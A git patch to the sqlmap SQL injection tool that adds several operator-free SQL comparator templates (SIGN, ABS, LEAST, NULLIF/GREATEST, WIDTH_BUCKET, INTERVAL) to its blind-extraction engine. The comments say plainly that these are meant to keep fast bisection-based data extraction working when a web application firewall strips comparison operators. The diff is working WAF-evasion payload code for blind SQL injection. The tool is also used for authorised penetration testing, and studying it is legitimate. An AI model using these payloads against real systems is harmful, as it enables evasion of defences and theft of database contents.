From 016c388a13b6846065e068970f083832ac085d68 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Tue, 21 Jul 2026 14:04:30 +0200 Subject: [PATCH] Expanding Esperanto engine with more log2 comparators --- extra/esperanto/discovery.py | 29 ++++++++++++++++++++++++----- extra/esperanto/engine.py | 3 ++- extra/esperanto/extraction.py | 4 ++-- lib/core/settings.py | 2 +- 4 files changed, 29 insertions(+), 9 deletions(-) diff --git a/extra/esperanto/discovery.py b/extra/esperanto/discovery.py index cf4c9b5ae..ab1bd4e54 100644 --- a/extra/esperanto/discovery.py +++ b/extra/esperanto/discovery.py @@ -429,11 +429,9 @@ class _Discovery(object): elif self._ask("2 BETWEEN 2 AND 3") and not self._ask("5 BETWEEN 2 AND 3"): self._comparator = "between" self.dialect.notes.append("'>' unusable; bisecting via BETWEEN") - elif self._ask("SIGN(2-1)=1") and not self._ask("SIGN(2-3)=1") and not self._ask("SIGN(2-2)=1"): - # ordered, log2-efficient, yet needs NO comparison operator (only SIGN(), '-', '=') - - # survives a WAF stripping '>' AND '<' AND BETWEEN, without dropping to slow membership - self._comparator = "sign" - self.dialect.notes.append("'>'/BETWEEN unusable; bisecting via SIGN() (no comparison operator)") + elif self._discoverOperatorFreeComparator(): + # picked an ordered (log2) comparator that needs NO comparison operator - see below + pass else: self._comparator = "membership" self.dialect.notes.append("no ordered comparator; using order-free IN() subset bisection") @@ -441,6 +439,27 @@ class _Discovery(object): except OracleUndecided: pass # keep the safe defaults (gt / IN-ok) + def _discoverOperatorFreeComparator(self): + # Manual-derived ways to express "expr > n" using NO comparison operator (>,<,>=,<=,BETWEEN): + # each is an ORDERED (log2) test, so efficient bisection survives a WAF that strips the + # comparison operators instead of dropping to slow order-free membership. Ordered universal- + # first; each self-selects by a 3-point probe (2>1 true, 2>3/2>2 false). {expr}/{n} filled at use. + candidates = ( + ("sign", "SIGN(({expr})-({n}))=1"), # SIGN(): every major DBMS + ("abs", "ABS(({expr})-({n})-1)=({expr})-({n})-1"), # ABS(): backup if SIGN is name-filtered + ("least", "LEAST(({expr}),({n})+1)=({n})+1"), # GREATEST/LEAST family (expr once) + ("nullif", "NULLIF(GREATEST(({expr}),({n})),({n})) IS NOT NULL"), # needs NO '=' -> survives '=' filtering + ("widthbucket", "WIDTH_BUCKET(({expr}),0,({n})+1,1)=2"), # PostgreSQL / Oracle + ("interval", "INTERVAL(({expr}),({n})+1)=1"), # MySQL / MariaDB + ) + for name, tmpl in candidates: + if self._ask(tmpl.format(expr=2, n=1)) and not self._ask(tmpl.format(expr=2, n=3)) and not self._ask(tmpl.format(expr=2, n=2)): + self._comparator = name + self._cmpTemplate = tmpl + self.dialect.notes.append("'>'/BETWEEN unusable; ordered bisection via %s() (no comparison operator)" % name.upper()) + return True + return False + def _charcodeSemantics(self, tmpl): # ASCII-only ROUND-TRIP: build a char from its code, then read the code back. # code(char(N))==N means extract-then-rebuild is faithful for N. no raw diff --git a/extra/esperanto/engine.py b/extra/esperanto/engine.py index d5ea7be15..bb92cb84b 100644 --- a/extra/esperanto/engine.py +++ b/extra/esperanto/engine.py @@ -45,7 +45,8 @@ class Esperanto(_OracleCore, _Discovery, _Extraction, _Enumeration): self._hexOrdered = None self._backslashEscape = None self._codeTmpl = None - self._comparator = "gt" # ordered-compare op: "gt" / "between" / "membership" + self._comparator = "gt" # ordered-compare op: "gt" / "between" / operator-free rung / "membership" + self._cmpTemplate = None # operator-free ordered rung: an "expr > n" template with {expr}/{n} self._inOk = True # IN(...) usable (order-free subset bisection) self._lastTruncated = False self._discovered = False diff --git a/extra/esperanto/extraction.py b/extra/esperanto/extraction.py index 8c72952cd..faa754f65 100644 --- a/extra/esperanto/extraction.py +++ b/extra/esperanto/extraction.py @@ -133,8 +133,8 @@ class _Extraction(object): # BETWEEN expresses the same range test without the '>'/'<' a WAF may strip. if self._comparator == "between": return self._ask("%s BETWEEN %d AND %d" % (expr, n + 1, high)) - if self._comparator == "sign": - return self._ask("SIGN((%s)-(%d))=1" % (expr, n)) + if self._cmpTemplate is not None: # any operator-free ordered rung (sign/abs/least/nullif/...) + return self._ask(self._cmpTemplate.format(expr=expr, n=n)) return self._ask("%s>%d" % (expr, n)) def _numDefined(self, expr): diff --git a/lib/core/settings.py b/lib/core/settings.py index e03187eb7..8d669818a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.170" +VERSION = "1.10.7.171" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)